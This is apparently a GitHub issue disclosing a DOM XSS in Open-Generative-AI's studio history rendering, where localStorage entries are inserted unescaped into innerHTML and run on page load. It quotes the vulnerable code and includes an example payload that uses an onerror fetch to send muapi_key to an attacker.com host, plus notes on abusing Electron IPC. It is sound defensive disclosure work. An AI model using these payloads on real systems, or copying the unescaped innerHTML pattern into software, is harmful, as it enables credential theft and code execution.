Skip to content

DOM XSS in Studio History Rendering (ImageStudio/VideoStudio/CinemaStudio/LipSyncStudio): Unsanitized localStorage Data Injected into innerHTML, Triggered on Page Load, Escalable to Local API Abuse in Electron #309

Description

@Practice100101

Vulnerability type

  • Cross Site Scripting (XSS)

CWE

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vendor of the product(s)

Anil-matcha

Affected product(s)/code base

Product

Open-Generative-AI

Version

main

Attack type

  • Remote

Impact

  • Code Execution
  • Information Disclosure

Affected component(s)

Studio history rendering: src/components/ImageStudio.js renderHistory (lines 1016-1048, innerHTML sink at 1022-1029) and history load (lines 1069-1078); src/components/VideoStudio.js renderHistory (lines 923-962, sink at 929-936); src/components/CinemaStudio.js renderHistory (lines 417-433, sink at 423-428); src/components/LipSyncStudio.js renderHistory (lines 540-561, sink at 544-551). History persisted in localStorage keys muapi_history / video_history / cinema_history / lipsync_history. Electron renderer additionally exposes window.localAI IPC (electron/preload.js) and shell.openExternal wiring (electron/main.js:56-59).

Core vulnerable code path

Source: localStorage keys muapi_history/video_history/cinema_history/lipsync_history containing JSON entries with url (from muapi API generation results; possibly echoed user-supplied image_url/video_url in i2i/v2v flows) and prompt (user input), both unsanitized. Persistence: addToHistory() (ImageStudio.js:1003-1014) writes localStorage.setItem('muapi_history', ...) at line 1007. Automatic rendering: page load parses localStorage and calls renderHistory() (ImageStudio.js:1069-1078; VideoStudio.js:982-991; CinemaStudio.js:498-502; LipSyncStudio.js:576-585). Sink: ImageStudio.js:1022-1029 thumb.innerHTML = <img src="${entry.url}" alt="${entry.prompt?.substring(0, 30) || 'Generated'}" ...>; VideoStudio.js:929-936 and LipSyncStudio.js:544-551 use <video src="${entry.url}" ...>; CinemaStudio.js:423-428 uses <img src="${entry.url}" ...>. A url value such as x" onerror="... breaks the attribute boundary and executes on image/video load failure; the 30-char alt attribute can be escaped with " autofocus onfocus=alert(1) x=". In the Electron build, the injected script can read muapi_key from localStorage/cookies, invoke window.localAI IPC, and trigger shell.openExternal via window.open.

Core vulnerable code path:

// src/components/ImageStudio.js:1016-1048
const renderHistory = () => {
    historyList.innerHTML = '';
    generationHistory.forEach((entry, idx) => {
        const thumb = document.createElement('div');
        thumb.className = `relative group/thumb cursor-pointer rounded-xl overflow-hidden border-2 transition-all duration-300 ${idx === 0 ? 'border-primary shadow-glow' : 'border-white/10 hover:border-white/30'}`;

        thumb.innerHTML = `
            <img src="${entry.url}" alt="${entry.prompt?.substring(0, 30) || 'Generated'}" class="w-full aspect-square object-cover">
            <div class="absolute inset-0 bg-black/60 opacity-0 group-hover/thumb:opacity-100 transition-opacity flex items-center justify-center gap-1">
                <button class="hist-download p-1.5 bg-primary rounded-lg text-black hover:scale-110 transition-transform" title="Download">
                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="3"><path d="M21 15v4a2 2 0 01-2 2H5a2 2 0 01-2-2v-4M7 10l5 5 5-5M12 15V3"/></svg>
                </button>
            </div>
        `;

        thumb.onclick = (e) => {
            if (e.target.closest('.hist-download')) {
                downloadImage(entry.url, `muapi-${entry.id || idx}.jpg`);
                return;
            }
            showImageInCanvas(entry.url);
        };

        historyList.appendChild(thumb);
    });
};

The XSS sink: entry.url and entry.prompt interpolated unescaped into innerHTML. A url containing a double quote (x" onerror="...) breaks the src attribute and injects an event handler that fires when the image fails to load; the 30-character alt attribute can also be escaped with a short payload.

// src/components/ImageStudio.js:1069-1078
// --- Load history from localStorage ---
try {
    const saved = JSON.parse(localStorage.getItem('muapi_history') || '[]');
    if (saved.length > 0) {
        saved.forEach(e => generationHistory.push(e));
        historySidebar.classList.remove('translate-x-full', 'opacity-0');
        historySidebar.classList.add('translate-x-0', 'opacity-100');
        renderHistory();
    }
} catch (e) { /* ignore */ }

History is parsed from localStorage and renderHistory() is invoked synchronously on page load, so injected HTML/event handlers execute without user interaction. The same pattern exists in VideoStudio.js:982-991, CinemaStudio.js:498-502, and LipSyncStudio.js:576-585.

// src/components/VideoStudio.js:923-962
const renderHistory = () => {
    historyList.innerHTML = '';
    generationHistory.forEach((entry, idx) => {
        const thumb = document.createElement('div');
        thumb.className = `relative group/thumb cursor-pointer rounded-xl overflow-hidden border-2 transition-all duration-300 ${idx === 0 ? 'border-primary shadow-glow' : 'border-white/10 hover:border-white/30'}`;

        thumb.innerHTML = `
            <video src="${entry.url}" preload="metadata" muted class="w-full aspect-square object-cover"></video>
            <div class="absolute inset-0 bg-black/60 opacity-0 group-hover/thumb:opacity-100 transition-opacity flex items-center justify-center gap-1">
                <button class="hist-download p-1.5 bg-primary rounded-lg text-black hover:scale-110 transition-transform" title="Download">
                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="3"><path d="M21 15v4a2 2 0 01-2 2H5a2 2 0 01-2-2v-4M7 10l5 5 5-5M12 15V3"/></svg>
                </button>
            </div>
        `;

        thumb.onclick = (e) => {
            if (e.target.closest('.hist-download')) {
                downloadFile(entry.url, `video-${entry.id || idx}.mp4`);
                return;
            }
            showVideoInCanvas(entry.url, entry.model);
        };

        historyList.appendChild(thumb);
    });
};

Identical unsanitized pattern in VideoStudio with <video src="${entry.url}" ...>; the video src attribute has no length limit so longer payloads are straightforward. CinemaStudio.js:423-428 and LipSyncStudio.js:544-551 follow the same pattern.

Attack vector(s)

Remote, requires the victim to open a studio page whose localStorage history contains a poisoned entry. Step 1: poison the history entry (e.g. via the developer console or a generation whose result URL is a poisoned string): localStorage.setItem('muapi_history', JSON.stringify([{"url":"x" onerror="fetch('https://attacker.com/?k='+localStorage.getItem('muapi_key'))"","prompt":"p","model":"m","timestamp":"2025-01-01T00:00:00Z"}])). Step 2: reload/open the studio page (GET /studio/image or navigate within the Electron app); renderHistory() builds and the handler executes when the image fails to load. In the Electron build the script can read muapi_key, call window.localAI IPC, and trigger shell.openExternal via window.open.

Suggested description of the vulnerability for use in the CVE

In Open-Generative-AI, the studio components (ImageStudio, VideoStudio, CinemaStudio, LipSyncStudio) render generation history loaded from localStorage into innerHTML templates without HTML escaping (ImageStudio.js renderHistory at lines 1016-1048, sink at 1022-1029; equivalent sinks in VideoStudio.js:929-936, CinemaStudio.js:423-428, LipSyncStudio.js:544-551). History is rendered automatically on page load (ImageStudio.js:1069-1078). A history entry whose url or prompt value contains a double quote or angle brackets breaks out of the src/alt attribute and injects an event handler, resulting in DOM-based XSS that executes on page load. In the Electron desktop build, the injected script can steal the muapi_key from localStorage/cookies, invoke the localAI IPC surface exposed by preload (model deletion/download, wan2gp probing of arbitrary URLs), and trigger shell.openExternal through window.open.

Discoverer(s)/Credits

Default01

Reference(s)

Additional information

Verified in the main-branch snapshot of https://github.com/Anil-matcha/Open-Generative-AI: unsanitized innerHTML sinks and automatic load-and-render flows are confirmed in ImageStudio.js:1016-1048/1069-1078, VideoStudio.js:923-962/982-991, CinemaStudio.js:417-433/498-502, LipSyncStudio.js:540-561/576-585. The Electron renderer exposes window.localAI (electron/preload.js) and wires window.open to shell.openExternal (electron/main.js:56-59). Remaining uncertainty: whether the muapi backend echoes user-supplied image_url/video_url into i2i/v2v result URLs, which would allow cross-user poisoning; otherwise the entry is only poisonable by the victim's own input (stored self-XSS whose CVE value depends on the Electron local-impact assessment). CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N (7.1, estimated; to be re-confirmed after dynamic validation). No verified references or patch versions are available (references: [], patched_versions: none confirmed).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions